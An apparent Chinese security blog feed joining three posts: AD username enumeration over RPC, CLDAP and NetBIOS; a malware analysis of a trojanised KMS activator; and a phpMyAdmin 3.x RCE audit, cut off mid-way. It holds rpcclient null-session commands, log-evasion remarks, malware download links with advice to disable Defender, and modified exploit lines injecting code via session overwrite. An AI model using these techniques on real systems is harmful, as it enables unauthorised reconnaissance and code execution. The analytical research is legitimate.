<li>512 是<code>AllowableAccountControlBits</code>的值(参考<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620?redirectedfrom=MSDN</a>),<code>0000000000000000000001000000000</code>代表域用户</li>
</ul>
<p>可以根据响应结果来进行判断:</p>
<ul>
<li>存在则返回一个结构体</li>
<li>不存在则返回<code>WERR_NO_SUCH_USER</code></li>
</ul>
<p>下面看抓包情况</p>
<p>下面是<code>DsrGetDcNameEx2</code>请求的参数,16进制的200就是512,代表域用户</p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LKkhmdipUm.jpg"></p>
<p>用户存在会返回<code>success</code></p>
<p><img alt="asdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vEeLxbsstj.jpg"></p>
<p>用户不存在则返回<code>unknown</code></p>
<p><img alt="asdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XZUeYcmhQh.jpg"></p>
<p>在抓取到的数据包中,可以看到如下数据包:</p>
<p><img alt="asdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/mgiexrtmoa.jpg"></p>
<p>可以看到空连接建立之后我们可以通过调用lsarpc命名管道上的<code>LsarQueryInformationPolicy2</code>方法来获取域的SID</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@ubuntu</span><span class="err">:</span><span class="o">/</span><span class="err">#</span><span class="w"> </span><span class="n">rpcclient</span><span class="w"> </span><span class="mf">192.168.60.160</span><span class="w"> </span><span class="o">-</span><span class="n">U</span><span class="s1">'%'</span><span class="w"> </span><span class="o">-</span><span class="n">c</span><span class="w"> </span><span class="s1">'lsaquery'</span>
<span class="k">Domain</span><span class="w"> </span><span class="nl">Name</span><span class="p">:</span><span class="w"> </span><span class="n">DOMAIN2</span>
<span class="k">Domain</span><span class="w"> </span><span class="nl">Sid</span><span class="p">:</span><span class="w"> </span><span class="n">S</span><span class="o">-</span><span class="mi">1</span><span class="o">-</span><span class="mi">5</span><span class="o">-</span><span class="mi">21</span><span class="o">-</span><span class="mi">1986246999</span><span class="o">-</span><span class="mi">2617435358</span><span class="o">-</span><span class="mi">1981060215</span>
</code></pre></div>
<p>根据上面的分析编写一个<a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_RPC.py">脚本</a>,功能如下:</p>
<p>使用impacket框架调用<code>DsrGetDcNameEx2</code>方法,接收一个用户名列表,然后依次使用该列表中的用户针对远程主机(DC)调用<code>DsrGetDcNameEx2</code>方法,根据返回结果来进行枚举</p>
<p>使用上面这种直接调用RPC方法来枚举用户是有一定的局限性的的,因为如果目标DC使用<code>Network security: Restrict NTLM: Incoming NTLM traffic</code>组策略禁用账户使用NTLM认证方式,那么直接调用RPC也就会失败</p>
<p>该策略是在<code>Default Domain Controllers Policy</code>中设置的</p>
<p><img alt="1603173464262" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QgypoDQpFR.jpg"></p>
<p><img alt="1603173729418" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/llAwadbAeF.jpg"></p>
<h2>构造数据包进行枚举</h2>
<p>为了加速枚举,我调查了一下<code>DsrGetDcNameEx2</code>是如何工作的,该方法和<code>GetDcName</code>, <code>DsrGetDcName</code>, <code>DsrGetDcNameEx</code>都可以根据提供的域名来定位到该域的DC</p>
<p>这些方法会使用DNS、LDAP或者NetBIOS等方法获取域控制器在域内的位置</p>
<p>他们的工作方式大致如下所述:</p>
<ul>
<li>1、通过DNS查询或者NetBIOS广播提供的域名获取到域控制器的IP</li>
<li>2、如果通过DNS获取到了域控制器的IP,则请求端会向DC发送一个<code>LDAP ping</code>报文,如果通过NetBIOS获取到了DC的IP,会向DC发送一个<code>mailslot ping</code>报文,这两个数据包都是通过UDP协议进行发送的,这两个报文中都有一个Filter,其实就是请求的一些参数</li>
<li>3、DC检查自己是否符合这些要求并发送响应报文</li>
<li>4、最后调用方法的系统会处理发送回来的响应报文</li>
</ul>
<h3>LDAP ping</h3>
<p>发起调用的主机会向远程主机发送一个CLDAP报文(基于UDP,无连接),对于用户存在的情况,DC会向源主机返回操作码为23的报文,如果用户不存在则返回操作码25</p>
<p>因此我需要自己构造出<code>CLDAP</code>报文,Samba源代码中有一个<a href="https://github.com/samba-team/samba/blob/master/examples/misc/cldap.pl">示例脚本</a>,该脚本可以构造出这样的CLDAP报文</p>
<p>根据那个示例脚本我写出了下面这个脚本: </p>
<p><a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_LDAP.py">https://github.com/sensepost/UserEnum/blob/master/UserEnum_LDAP.py</a></p>
<p>安装这个工具需要<code>asn1tools</code>模块,安装的时候有需要安装<code>diskcache</code>模块,但是使用<code>python2</code>安装的时候他会出现错误,因为默认安装的是针对<code>python3</code>的模块,因此需要指定<code>diskcache</code>模块的版本</p>
<p><code>pip install diskcache==4.1.0</code></p>
<p>还有就是上面安装好之后还是会报错<code>ImportError: cannot import name WordCompleter</code></p>
<p>然后我们使用如下方式解决</p>
<p><code>python2 -m pip install scapy==2.4.0</code></p>
<p><code>python2 -m pip install asn1tools==0.55.0</code></p>
<p><code>pip install prompt_toolkit==1 .0.15</code></p>
<p>如果运行的时候报下面的错误</p>
<p><code>asn1tools.codecs.EncodeError: protocolOp: typesOnly: Expected data of type bool, but got 0.</code></p>
<p>则使用如下方法解决</p>
<p><strong>pip install asn1tools==0.100.0</strong></p>
<p>之前写的<a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_RPC.py">脚本</a>是直接调用的rpc方法,这种调用方法的方式相比较直接构造数据包发送请求的方式要慢很多</p>
<p>我测试了一下,1万多个用户名,只用了10秒左右</p>
<p>下面是抓的请求包</p>
<p><img alt="asdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/YMMYfffAlJ.jpg"></p>
<p>这里acc进行了映射,映射表是下面这俩:</p>
<p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/10bf6c8e-34af-4cf9-8dff-6b6330922863?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/10bf6c8e-34af-4cf9-8dff-6b6330922863?redirectedfrom=MSDN</a></p>
<p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/8a193181-a7a2-49df-a8b1-f689aaa6987c?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/8a193181-a7a2-49df-a8b1-f689aaa6987c?redirectedfrom=MSDN</a></p>
<p>从第一个表中我们可以找到普通域用户也就是16进制的200,对应的是<code>UF_NORMAL_ACCOUNT</code></p>
<p>从第二个表中我们可以看到<code>UF_NORMAL_ACCOUNT</code>对应的是<code>USER_NORMAL_ACCOUNT</code></p>
<p><code>USER_ACCOUNT</code>在<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b10cfda1-f24f-441b-8f43-80cb93e786ec?redirectedfrom=MSDN">这里</a>可以找到, 可以看到<code>USER_NORMAL_ACCOUNT</code>的值是<code>0x00000010</code></p>
<p>从上面wireshark抓的包我们可以看到显示的是<code>10:00:00:00</code></p>
<p>这个不能直接读,细心的话你可以发现这里没有加<code>0x</code>前缀,我们就必须将网络序(大端)转换成小端来读,转换之后就是<code>00:00:00:10</code>,正好符合上面的映射</p>
<p>后面我又在想我可以使用通配符来猜解用户名,比如<code>B*</code>、<code>Bo*</code>等,但是当我这样写的时候,构造出来的CLDAP包就<strong>无法正常响应</strong>了</p>
<p>我又捣鼓了一会儿,发现确实没办法实现这种功能,不过既然CLDAP可以达到这种爆破用户名的效果,那么NetBIOS呢?</p>
<p>首先我使用rpcclient发起了一个<code>DsrGetDcNameEx2</code>方法的调用,然后在wireshark中,我捕捉到了如下数据包:</p>
<p>这里发起请求的机器为DC01(192.168.57.2),目标机器为black(192.168.57.120)</p>
<ul>
<li>1、<code>57.2</code>发送<code>NBNS</code>广播报文,查询black这个名称</li>
<li>2、<code>120</code>向<code>57.2</code>返回NBNS响应报文,其中包含自己的IP(<code>192.168.57.120</code>)</li>
<li>3、<code>57.2</code>发送<code>SMB_NETLOGON</code>广播报文(UDP),这里明明已经知道了black域的DC的IP却还要发送广播,我也不知道为啥</li>
<li>4、<code>120</code>发送<code>NBNS</code>广播报文,查询DC01这个名称</li>
<li>5、<code>57.2</code>向120发送<code>SMB_NETLOGON</code>报文</li>
<li>6、<code>57.2</code>向120返回<code>NBNS</code>报文,报告自己的IP</li>
<li>7、<code>120</code>向<code>57.2</code>返回<code>SMB_NETLOGON</code>响应报文</li>
</ul>
<p>从以上的报文我们可以看出来,通信双方都发起了NBNS查询,而且查询的名称我们是可以控制的,响应的IP地址我们也可以控制(这个我们只能控制DC01),但是通信过程一直都是UDP,没有<code>SMB TCP</code>报文,我们无法使用<code>Responder</code>来利用,但是我发现至少可以利用这个来方法来中毒目标系统的NETBIOS名称-ip对应表缓存</p>
<h3>mailslot ping</h3>
<p>看完了ldap之后我们再来看一下NetBIOS</p>
<p>可以使用这个<a href="https://github.com/sensepost/UserEnum/blob/master/UserEnum_NBS.py">脚本</a>枚举</p>
<p>在运行该脚本的时候可能会遇到如下错误: </p>
<div class="highlight"><pre><span></span><code>from<span class="w"> </span>scapy.all<span class="w"> </span>import<span class="w"> </span>*
ImportError:<span class="w"> </span>No<span class="w"> </span>module<span class="w"> </span>named<span class="w"> </span>scapy.all
</code></pre></div>
<p>解决方法</p>
<p><code>pip install scapy==2.4.3</code></p>
<p>使用方法:</p>
<div class="highlight"><pre><span></span><code>Python2<span class="w"> </span>UserEnum_NBS.py<span class="w"> </span><span class="m">192</span>.168.60.148<span class="w"> </span><span class="m">192</span>.168.60.160<span class="w"> </span>DOMAIN2<span class="w"> </span>userlist.txt
</code></pre></div>
<p>注意这里域名是NetBIOS名称,也就是大写字母,比如<code>domain.local</code>在这里应该写成DOMAIN,注意这里写的并不是FQDN</p>
<p>可以看到<code>netlogon</code>的响应包</p>
<p><img alt="asdasd" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/fCgYGGHFCz.jpg"></p>
<p>参考<a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/07133ff2-a9a3-4aa9-8896-a7dcb53bdfe9">对照表</a>,<code>0x17</code> (十进制的23)表示<code>LOGON_SAM_LOGON_RESPONSE_EX</code>而并不是<code>user unknown</code>,这里应该是wireshark的问题,<code>LOGON_SAM_USER_UNKNOWN_EX</code>应该是<code>0x19</code></p>
<p>因此操作码为<code>0x17</code>说明用户存在</p>
<h1>后记</h1>
<p>以上提到的三种方式中,CLDAP是最快的,其实次NetBIOS,最慢的是直接调用DsrGetDcNameEx2 方法,且前两者不会产生日志,最后一种方法会产生匿名登录日志</p>
<p>这个是直接调用rpc方法产生的日志</p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WylSAgCYIB.jpg"></p>KMS激活工具分析2020-09-22T00:00:00+02:002020-09-22T00:00:00+02:0012138tag:None,2020-09-22:kmsji-huo-gong-ju-fen-xi.html<h1>前言</h1>
<p>该工具可以激活任意版本windows操作系统,亲测可用,唯一的缺点就是有病毒</p>
<p>工具下载:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E8%BF%99%E4%B8%AA%E6%98%AF%E6%9C%89%E7%97%85%E6%AF%92%E7%9A%84%EF%BC%8C%E5%90%8E%E6%9C%9F%E5%8F%AF%E4%BB%A5%E5%B0%9D%E8%AF%95%E4%BD%BF%E7%94%A8%E9%80%86%E5%90%91%E7%9A%84%E6%96%B9%E5%BC%8F%EF%BC%8C%E5%88%A0%E9%99%A4%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E2%80%94%E2%80%94%E9%80%9A%E7%94%A8%E6%BF%80%E6%B4%BB%E5%B7%A5%E5%85%B7.zip">原始文件</a></li>
<li><a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E5%AF%86%E7%A0%81%E6%98%AF1.rar">释放出的文件</a></li>
</ul>
<h1>行为分析</h1>
<h2>微步沙箱 …</h2><h1>前言</h1>
<p>该工具可以激活任意版本windows操作系统,亲测可用,唯一的缺点就是有病毒</p>
<p>工具下载:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E8%BF%99%E4%B8%AA%E6%98%AF%E6%9C%89%E7%97%85%E6%AF%92%E7%9A%84%EF%BC%8C%E5%90%8E%E6%9C%9F%E5%8F%AF%E4%BB%A5%E5%B0%9D%E8%AF%95%E4%BD%BF%E7%94%A8%E9%80%86%E5%90%91%E7%9A%84%E6%96%B9%E5%BC%8F%EF%BC%8C%E5%88%A0%E9%99%A4%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E2%80%94%E2%80%94%E9%80%9A%E7%94%A8%E6%BF%80%E6%B4%BB%E5%B7%A5%E5%85%B7.zip">原始文件</a></li>
<li><a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E5%AF%86%E7%A0%81%E6%98%AF1.rar">释放出的文件</a></li>
</ul>
<h1>行为分析</h1>
<h2>微步沙箱分析</h2>
<p>将程序提交到微步沙箱进行分析,分析结果为高危</p>
<p>请求<code>http://down.luckyboy.cn/KMS.nim</code></p>
<p><img alt="1600780251031" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JMRNuDwmfM.jpg"></p>
<p>目前该链接已无法访问</p>
<p><img alt="1600780319803" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tDuyXikHKx.jpg"></p>
<p>从分析中共获取到如下URL:</p>
<div class="highlight"><pre><span></span><code>http://xyr.luckyboy.cn/
http://xyr.luckyboy.cn/favicon.ico
http://www.tudoupe.com/
http://www.luckyboy.cn/
http://www.lovelucky.cn/
http://www.tudoupe.com/favicon.ico
http://www.lovelucky.cn/favicon.ico
http://schemas.microsoft.com/SMI/2005/WindowsSettings
http://www.luckyboy.cn/favicon.ico
http://w
</code></pre></div>
<p>通过站长之家的注册人反查可以看到上面所涉及到的异常域名都是由同一家公司注册的</p>
<p><img alt="1600781220537" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/APDuGeTypA.jpg"></p>
<p>其中<code>http://www.luckyboy.cn/</code>页面也是异常的,显示的网页为2345网址导航</p>
<p><img alt="1600781631018" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dsZIRWacqY.jpg"></p>
<p>打开源代码审查工具,可以看到是嵌套了2345导航网站的页面,并且有一个注释掉的div标签,内容为将该网站设置为首页,怎么看这网站都不对劲</p>
<p><img alt="1600781755978" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IuWyNMFQZy.jpg"></p>
<p>软件在运行后释放出了7z.exe、7z.dll,这两个文件用于进行后续的解压操作,然后释放出<code>XMDownload</code>和<code>KMS10_1025.exe</code>文件,之后启动一个cmd进程执行7z.exe对XMDownload文件进行解压缩,解压出来的文件如下:</p>
<p><img alt="image-20200923013253604" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OvBEewwfKs.jpg"></p>
<p><img alt="image-20200923013310978" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FKJYbMYkfA.jpg"></p>
<p>之后调用windows api:<code>ShellExecuteExW</code>传入如下参数</p>
<div class="highlight"><pre><span></span><code><span class="n">parameters</span><span class="p">:</span><span class="w"> </span><span class="n">MiniThunderPlatform2020</span><span class="o">-</span><span class="mi">09</span><span class="o">-</span><span class="mi">2301</span><span class="p">:</span><span class="mi">19</span><span class="p">:</span><span class="mi">34</span><span class="w"> </span><span class="s2">"C:\Users\x\AppData\Local\Temp\Download\download\MiniThunderPlatform.exe"</span>
<span class="n">filepath</span><span class="p">:</span><span class="w"> </span><span class="n">ThunderFW</span><span class="o">.</span><span class="n">exe</span>
<span class="n">filepath_r</span><span class="p">:</span><span class="w"> </span><span class="n">ThunderFW</span><span class="o">.</span><span class="n">exe</span>
<span class="n">show_type</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span>
</code></pre></div>
<p>运行了迅雷下载平台去恶意网站上下载文件,具体下载的是什么文件不清楚,但是<code>XMDownload</code>这个压缩包里的文件全部都是迅雷组件,不包含恶意文件,在释放出的文件中,唯一被检测出来的是<code>KMS10_1025.exe</code>文件,将该文件上传至微步沙箱进行分析</p>
<p>在该文件的分析结果中,有8款反病毒软件检测出改程序异常,<strong>其中大部分为KMS相关,这类软件多与windows操作系统破解相关,常被用于捆绑恶意软件,但也不一定都是恶意的</strong></p>
<p>在virus total上,检出率为<code>49/67</code>,KMS居多,且检测出该软件存在<strong>检测虚拟机</strong>的行为</p>
<h2>本地虚拟机分析</h2>
<p>原始文件释放出<code>KMS10_1025.exe</code>文件,该文件是真正的用于激活windows操作系统的文件,现在我们对这个文件进行分析,创建一台<code>windows 7 Professional x64</code>虚拟机,创建完毕后生成快照,然后运行<code>KMS10_1025.exe</code>,在运行完毕后出现如下弹窗</p>
<p><img alt="image-20200923022438287" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HbDDiVluiM.jpg"></p>
<p>遂恢复快照对比kms运行前后的计划任务:</p>
<p><img alt="image-20200923022645007" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ADkEhoNFtF.jpg"></p>
<p>可以看到kms创建出了两个计划任务,分别为<code>KMS10</code>和<code>KMS10Server</code>,加上<code>/v</code>选项获取计划任务的详细情况</p>
<p>KMS10计划任务会<strong>在系统启动时</strong>以<code>system</code>权限运行<code>"C:\Windows\KMS10\KMS10.exe" auto</code></p>
<p>KMS10Server计划任务运行同样的命令,也是以<code>system</code>权限,不同的是<strong>它是每天运行一次</strong></p>
<p><code>C:\Windows\KMS10\KMS10.exe</code>和<code>KMS10_1025.exe</code>文件的sha1哈希值相同,两者为同一个文件,现在的问题是我们不知道该文件在加上auto参数运行时究竟做了什么</p>
<h2>ProcessMonitor监控分析</h2>
<p>Procmon工具下载链接:</p>
<ul>
<li><a href="https://gitee.com/wochinijiamile/smartya/raw/master/Procmon.exe">https://gitee.com/wochinijiamile/smartya/raw/master/Procmon.exe</a></li>
</ul>
<p>添加如下过滤器:</p>
<p><img alt="1608351786777" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OevfHkuwmk.jpg"></p>
<p>如果你是windows 10,请先关闭WindowsDefender,然后运行<a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E5%AF%86%E7%A0%81%E6%98%AF1.rar">释放出的文件</a></p>
<p><img alt="1608351669344" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WpxDNdSmKM.jpg"></p>
<p>在Procmon中监控到如下行为:</p>
<div class="highlight"><pre><span></span><code>cmd<span class="w"> </span>/C<span class="w"> </span>net<span class="w"> </span>stop<span class="w"> </span>osppsvc<span class="w"> </span>/y<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>tasklist<span class="w"> </span>/FI<span class="w"> </span><span class="s2">"IMAGENAME eq osppsvc.exe"</span><span class="w"> </span><span class="m">2</span>>nul<span class="w"> </span><span class="p">|</span><span class="w"> </span>find<span class="w"> </span>/i<span class="w"> </span><span class="s2">"osppsvc.exe"</span><span class="w"> </span><span class="m">1</span>>nul<span class="w"> </span><span class="o">&&</span><span class="w"> </span>taskkill<span class="w"> </span>/t<span class="w"> </span>/f<span class="w"> </span>/IM<span class="w"> </span>KMS8Load.exe<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>net<span class="w"> </span>stop<span class="w"> </span>sppsvc<span class="w"> </span>/y<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>tasklist<span class="w"> </span>/FI<span class="w"> </span><span class="s2">"IMAGENAME eq sppsvc.exe"</span><span class="w"> </span><span class="m">2</span>>nul<span class="w"> </span><span class="p">|</span><span class="w"> </span>find<span class="w"> </span>/i<span class="w"> </span><span class="s2">"sppsvc.exe"</span><span class="w"> </span><span class="m">1</span>>nul<span class="w"> </span><span class="o">&&</span><span class="w"> </span>taskkill<span class="w"> </span>/t<span class="w"> </span>/f<span class="w"> </span>/IM<span class="w"> </span>KMS8Load.exe<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
wmic<span class="w"> </span>path<span class="w"> </span>OfficeSoftwareProtectionProduct<span class="w"> </span>where<span class="w"> </span><span class="o">(</span>Description<span class="w"> </span>like<span class="w"> </span><span class="s2">"%%KMSCLIENT%%"</span><span class="o">)</span><span class="w"> </span>get<span class="w"> </span>ID<span class="w"> </span>/format:list
wmic<span class="w"> </span>path<span class="w"> </span>SoftwareLicensingProduct<span class="w"> </span>where<span class="w"> </span><span class="s1">'(Description like "%%Windows%%" and not(Description like "%%KMSCLIENT%%") and LicenseStatus="1")'</span><span class="w"> </span>get<span class="w"> </span>ID<span class="w"> </span>/format:list
cmd<span class="w"> </span>/C<span class="w"> </span><span class="s2">"C:\Windows\Temp\r.exe"</span><span class="w"> </span>/nt60<span class="w"> </span>sys
cmd<span class="w"> </span>/C<span class="w"> </span><span class="s2">"C:\Windows\Temp\u.exe"</span><span class="w"> </span>/rest<span class="w"> </span>sys
cmd<span class="w"> </span>/C<span class="w"> </span>icacls<span class="w"> </span><span class="se">\\\g</span>r1dr<span class="w"> </span>/grant<span class="w"> </span>administrators:F
cmd<span class="w"> </span>/C<span class="w"> </span>attrib<span class="w"> </span><span class="se">\\\g</span>r1dr<span class="w"> </span>-h<span class="w"> </span>-s<span class="w"> </span>-r
cmd<span class="w"> </span>/C<span class="w"> </span>cscript<span class="w"> </span>%systemroot%<span class="se">\s</span>ystem32<span class="se">\s</span>lmgr.vbs<span class="w"> </span>/skms<span class="w"> </span><span class="m">127</span>.42.123.139:1688
cmd<span class="w"> </span>/C<span class="w"> </span>cscript<span class="w"> </span>%systemroot%<span class="se">\s</span>ystem32<span class="se">\s</span>lmgr.vbs<span class="w"> </span>/ipk<span class="w"> </span>33PXH-7Y6KF-2VJC9-XBBR8-HVTHH
cmd<span class="w"> </span>/C<span class="w"> </span>net<span class="w"> </span>stop<span class="w"> </span>sppsvc<span class="w"> </span>/y<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>tasklist<span class="w"> </span>/FI<span class="w"> </span><span class="s2">"IMAGENAME eq sppsvc.exe"</span><span class="w"> </span><span class="m">2</span>>nul<span class="w"> </span><span class="p">|</span><span class="w"> </span>find<span class="w"> </span>/i<span class="w"> </span><span class="s2">"sppsvc.exe"</span><span class="w"> </span><span class="m">1</span>>nul<span class="w"> </span><span class="o">&&</span><span class="w"> </span>taskkill<span class="w"> </span>/t<span class="w"> </span>/f<span class="w"> </span>/IM<span class="w"> </span>KMS8Load.exe<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>cscript<span class="w"> </span>%systemroot%<span class="se">\s</span>ystem32<span class="se">\s</span>lmgr.vbs<span class="w"> </span>/ato
KMS8Load.exe<span class="w"> </span>C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\s</span>ppsvc.exe
C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\s</span>ppsvc.exe
cmd<span class="w"> </span>/C<span class="w"> </span>net<span class="w"> </span>stop<span class="w"> </span>sppsvc<span class="w"> </span>/y<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>tasklist<span class="w"> </span>/FI<span class="w"> </span><span class="s2">"IMAGENAME eq sppsvc.exe"</span><span class="w"> </span><span class="m">2</span>>nul<span class="w"> </span><span class="p">|</span><span class="w"> </span>find<span class="w"> </span>/i<span class="w"> </span><span class="s2">"sppsvc.exe"</span><span class="w"> </span><span class="m">1</span>>nul<span class="w"> </span><span class="o">&&</span><span class="w"> </span>taskkill<span class="w"> </span>/t<span class="w"> </span>/f<span class="w"> </span>/IM<span class="w"> </span>KMS8Load.exe<span class="w"> </span>>nul<span class="w"> </span><span class="m">2</span>><span class="p">&</span><span class="m">1</span>
cmd<span class="w"> </span>/C<span class="w"> </span>cscript<span class="w"> </span>%systemroot%<span class="se">\s</span>ystem32<span class="se">\s</span>lmgr.vbs<span class="w"> </span>/ckms
cmd<span class="w"> </span>/C<span class="w"> </span>schtasks<span class="w"> </span>/create<span class="w"> </span>/tn<span class="w"> </span><span class="s2">"KMS10"</span><span class="w"> </span>/tr<span class="w"> </span><span class="s2">"'C:\Windows\KMS10\KMS10.exe' auto"</span><span class="w"> </span>/sc<span class="w"> </span>ONSTART<span class="w"> </span>/ru<span class="w"> </span><span class="s2">"System"</span><span class="w"> </span>/f
cmd<span class="w"> </span>/C<span class="w"> </span>schtasks<span class="w"> </span>/create<span class="w"> </span>/tn<span class="w"> </span><span class="s2">"KMS10Server"</span><span class="w"> </span>/tr<span class="w"> </span><span class="s2">"'C:\Windows\KMS10\KMS10.exe' auto"</span><span class="w"> </span>/sc<span class="w"> </span>DAILY<span class="w"> </span>/ru<span class="w"> </span><span class="s2">"System"</span><span class="w"> </span>/f
</code></pre></div>
<p>我们来分析一下整体流程,先是关闭了<code>osppsvc</code>服务和<code>sppsvc</code>服务,这两者分别是针对office和windows系统的软件产品保护服务,并且为了确保这两个服务被彻底关闭,还分别执行了杀死对应进程的操作,然后启动了KMS服务,监听地址为<code>127.42.123.139:1688</code>(<strong>本地环回地址</strong>),之后便开始进行KMS服务器的设置与激活,激活完成后又进行了服务恢复和清除KMS服务器设置的操作,最后留下两个计划任务,一个是启动时运行,一个是隔天运行,两者除了运行频率不一样之外没有什么不同,目的是为了在KMS激活过期后(180天)能够再次自动激活</p>
<h1>后记</h1>
<p>在进行了Procmon进程监控之后,大致可以判断出,原始文件是存在恶意行为的,但是释放出的KMS文件应该是单纯的KMS激活工具,因此,我们如果直接使用<a href="https://gitee.com/wochinijiamile/suiyi/blob/master/%E5%AF%86%E7%A0%81%E6%98%AF1.rar"><strong>释放出的KMS文件</strong></a>进行激活,应该是没有问题的,因为在后续的监控中,我也没有发现其存在进程注入以及网络连接行为</p>phpmyadmin 3.x RCE审计2020-09-01T00:00:00+02:002020-09-01T00:00:00+02:0012138tag:None,2020-09-01:phpmyadmin-3x-rceshen-ji.html<h1>前言</h1>
<p>前段时间工作遇到了pma 3.x,版本挺低的,想着搜一下看有没有现成的exp来利用一下,然后就搜到了<code>CVE-2011-2505</code>和<code>CVE-2011-2506</code>联合导致的RCE漏洞</p>
<p><strong>其中前 …</strong></p><h1>前言</h1>
<p>前段时间工作遇到了pma 3.x,版本挺低的,想着搜一下看有没有现成的exp来利用一下,然后就搜到了<code>CVE-2011-2505</code>和<code>CVE-2011-2506</code>联合导致的RCE漏洞</p>
<p><strong>其中前者是<code>$_SESSION</code>变量的覆盖漏洞,后者是远程代码注入漏洞,两者联合可以将任意代码写入配置文件,利用的唯一条件是目标pma根目录下存在<code>config</code>目录</strong></p>
<p>参考链接: </p>
<ul>
<li><a href="http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html">http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html</a></li>
<li><a href="https://www.exploit-db.com/exploits/17514">https://www.exploit-db.com/exploits/17514</a></li>
</ul>
<h1>环境准备</h1>
<p>IDEA配置php调试环境不必多说,也很简单,主要就是pma 3.x版本过低,找起来不太容易,这里直接提供<a href="https://gitee.com/wochinijiamile/suiyi/raw/master/phpMyAdmin-3.2.4-english.zip">下载链接</a>,这里是<strong>pma 3.2.4</strong></p>
<p><strong>在测试第三个漏洞的时候</strong>,我发现pma 3.2.4并没有漏洞文件,全局搜索也未找到和漏洞描述相似的文件,因此直接去<a href="https://github.com/phpmyadmin/phpmyadmin/releases/tag/RELEASE_3_4_2">pma的github</a>下载了3.4.2版本进行测试,</p>
<p>另外一点就是这个洞的调试不能直接在浏览器中调试,因为变量覆盖的地方是session销毁的地方,<strong>如果在浏览器中调试,在第二阶段利用过程中,服务器会向浏览器返回新的cookie,那么我们先前构造的<code>$_session</code>变量的值也就不存在了</strong>,因此我们需要对网上下载回来的<a href="https://www.exploit-db.com/exploits/17514">exp脚本</a>进行更改以进行调试</p>
<p>在脚本第39行增加<code>$XDEBUG_SESSION_START = $argv[1];</code></p>
<p>修改101行内容为</p>
<div class="highlight"><pre><span></span><code><span class="x">curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);</span>
</code></pre></div>
<p>修改112行内容为:</p>
<div class="highlight"><pre><span></span><code><span class="x">curl_setopt($ch, CURLOPT_URL, $pmaurl.'/?XDEBUG_SESSION_START='.$XDEBUG_SESSION_START.'&_SESSION[ConfigFile][Servers][*/'.urlencode($code).'/*][port]=0&session_to_unset=x&token='.$token);</span>
</code></pre></div>
<p>在执行exp时,使用如下形式即可:</p>
